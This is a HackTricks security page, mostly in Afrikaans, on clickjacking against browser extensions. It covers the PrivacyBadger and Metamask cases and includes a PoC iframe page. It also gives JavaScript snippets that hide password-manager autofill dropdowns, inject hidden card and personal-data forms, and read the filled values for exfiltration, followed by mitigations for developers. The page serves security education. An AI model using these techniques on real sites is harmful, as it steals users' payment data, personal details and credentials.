BrowExt - ClickJacking

Reading time: 9 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Hierdie bladsy gaan 'n ClickJacking kwesbaarheid in 'n Browser extension misbruik.
As jy nie weet wat ClickJacking is nie, kyk:

Clickjacking

Extensions bevat die lĂȘer manifest.json en daardie JSON-lĂȘer het 'n veld web_accessible_resources. So sĂȘ die Chrome docs daaroor:

Hierdie hulpbronne sal dan beskikbaar wees op 'n webblad via die URL chrome-extension://[PACKAGE ID]/[PATH], wat met die extension.getURL method gegenereer kan word. Toegelate hulpbronne word bedien met toepaslike CORS-opskrifte, sodat hulle beskikbaar is via meganismes soos XHR.1

Die web_accessible_resources in 'n browser extension is nie net via die web toeganklik nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken hulle het die vermoë om:

  • Verander die extension se toestand
  • Laai addisionele hulpbronne
  • Interaksie met die browser tot 'n bepaalde mate

Hierdie funksie hou egter 'n sekuriteitsrisiko in. As 'n hulpbron binne web_accessible_resources enige betekenisvolle funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad ingebed. Onversigtige gebruikers wat hierdie blad besoek, kan per ongeluk hierdie ingebedde hulpbron aktiveer. Sulke aktivering kan lei tot onbedoelde gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne.

PrivacyBadger Voorbeeld

In die extension PrivacyBadger is 'n kwesbaarheid geĂŻdentifiseer wat verband hou met die skin/ directory wat as web_accessible_resources verklaar is op die volgende wyse (Sien die oorspronklike blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Hierdie konfigurasie het tot 'n potensiĂ«le sekuriteitsprobleem gelei. Spesifiek kon die skin/popup.html-lĂȘer, wat vertoon word wanneer daar op die PrivacyBadger-ikoon in die blaaier geklik word, binne 'n iframe ingebed word. Hierdie inbedding kon uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gedrang bring deur die PrivacyBadger-beskerming te deaktiveer en die gebruiker moontlik aan meer tracking bloot te stel. 'n Visuele demonstrasie van hierdie eksploityt kan gesien word in 'n ClickJacking video voorbeeld beskikbaar by https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Om hierdie kwesbaarheid aan te spreek is 'n eenvoudige oplossing geĂŻmplementeer: die verwydering van /skin/* uit die lys van web_accessible_resources. Hierdie verandering het die risiko effektief gemitigeer deur te verseker dat die inhoud van die skin/-gids nie deur web-accessible resources toeganklik of gemanipuleer kon word nie.

Die regstelling was eenvoudig: verwyder /skin/* uit die web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Voorbeeld

'n blogpost oor 'n ClickJacking in metamask kan hier gevind word. In hierdie geval het Metamask die kwesbaarheid opgelos deur te kontroleer dat die protokol wat gebruik is om dit te bereik https: of http: was (nie chrome: byvoorbeeld):

Nog 'n ClickJacking wat reggemaak is in die Metamask extension was dat gebruikers in staat was om te Click to whitelist wanneer 'n bladsy verdag was van phishing as gevolg van “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Omdat daardie bladsy vatbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaals te wys om die slagoffer te laat klik om dit te whitelist sonder om dit te raaksien, en dan terug te gaan na die phishing-bladsy wat dan gewhitelist sal wees.

Steam Inventory Helper Voorbeeld

Kyk na die volgende bladsy om te sien hoe 'n XSS in 'n browser extension gekoppel was met 'n ClickJacking-kwesbaarheid:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Klassieke extension clickjacking misbruik verkeerd gekonfigureerde web_accessible_resources om bevoorregte HTML te iframe en gebruikersklikke aan te dryf. 'n Nuwe klas, DOM-based extension clickjacking, teiken die autofill-dropdowns wat deur password managers direk in die page DOM ingevoeg word en gebruik CSS/DOM-truuks om hulle te verberg of te versper terwyl hulle steeds klikbaar bly. Een gedwonge klik kan 'n gestoor item kies en attacker-controlled invoervelde met sensitiewe data invul.

Bedreigingsmodel

  • Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
  • Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
  • At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).

Attack flow (manual autofill)

  1. Voeg 'n onsigbare maar fokusbare form in (login/PII/credit-card fields).
  2. Fokus 'n input om die extension’s autofill dropdown naby die veld op te roep.
  3. Verberg of versper die extension UI terwyl dit steeds interageerbaar bly.
  4. Lijn 'n geloofwaardige control onder die verborge dropdown uit om 'n klik af te dwing wat 'n item kies.
  5. Lees ingevulde waardes vanaf die attacker form en exfiltreer.

How to hide the autofill UI

  • Extension element
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Kind binne oop ShadowRoot (dinamiese tag, verberg interne iframe):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • Ouer element
  • BODY/HTML opacity truuks om extension UI onsigbaar te maak terwyl die bladsy normaal lyk (bv., screenshot-achtergrond):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Oorlaag
  • Gedeeltelike overlay: verberg alles behalwe 'n paar pixels sodat die dropdown steeds klikbaar bly (sorg dat die attacker overlay die laaste in die DOM is met max z-index, of gebruik Top Layer).
  • Volledige overlay wat pointer-events:none gebruik sodat klikke deurgaan na die verborge dropdown; hou dit persistent met die Popover API:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Posisionering van die slagoffer se klik

  • Vaste plasing: posisioneer die versteekte uitklaplys onder ’n geloofwaardige beheer soos “Aanvaar koekies”, “Sluit”, of ’n CAPTCHA-aankruisvak.
  • Volg-muis: skuif die gefokusde invoerveld onder die wysser sodat die uitklaplys dit volg; herfokus periodies sodat ’n enkele klik oral ’n item selekteer:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Impak en scenario's

  • Aanvaller-beheerde site: een gedwonge klik kan kredietkaartdata (nommer/vervaldatum/CVC) en persoonlike inligting (naam, e-pos, telefoon, adres, DOB) wat nie tot die domein beperk is nie, eksfiltreer.
  • Vertroude site met XSS/subdomain takeover/cache poisoning: diefstal deur meerdere klikke van kredensiale (gebruikersnaam/wagwoord) en TOTP, omdat baie managers autofill oor verwante subdomeine/ouer-domeine doen (bv., *.example.com).
  • Passkeys: as die RP nie WebAuthn-uitdagings aan die sessie bind nie, kan XSS die ondertekende assertion onderskep; DOM-based clickjacking verberg die passkey-prompt om die gebruiker se bevestigende klik uit te lok.

Beperkings

  • Vereis ten minste een gebruikersklik en ordentlike pikseluitlijning (realistiese oorleggings maak dit maklik om klikke te ontlok).
  • Auto-lock/uitlog verminder die venster vir uitbuiting; sommige managers vul steeds outomaties in al is hulle gesluit.

Mitigeringe vir uitbreidingsontwikkelaars

  • Render die autofill-UI in die Top Layer (Popover API) of sorg andersins dat dit bo die bladsy se stapeling lĂȘ; vermy om deur bladsy-beheerde oorleggings gedek te word.
  • Weerstaan CSS-manipulasie: verkies Closed Shadow DOM en monitor met MutationObserver vir verdagte style-wysigings op UI-wortels.
  • Ontdek vyandige oorleggings voor invul: som ander top-layer/popover-elemente op, skakel tydelik pointer-events:none af, en gebruik elementsFromPoint() om bedekking te detecteer; sluit die UI as oorleggings bestaan.
  • Let op verdagte <body>/<html> opacity of stylveranderinge beide voor en na rendering.
  • Vir iframe-gebaseerde probleme: beperk MV3 web_accessible_resources matches noukeurig en vermy om HTML-UIs bloot te stel; vir onvermydelike HTML, bedien X-Frame-Options: DENY of Content-Security-Policy: frame-ancestors 'none'.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks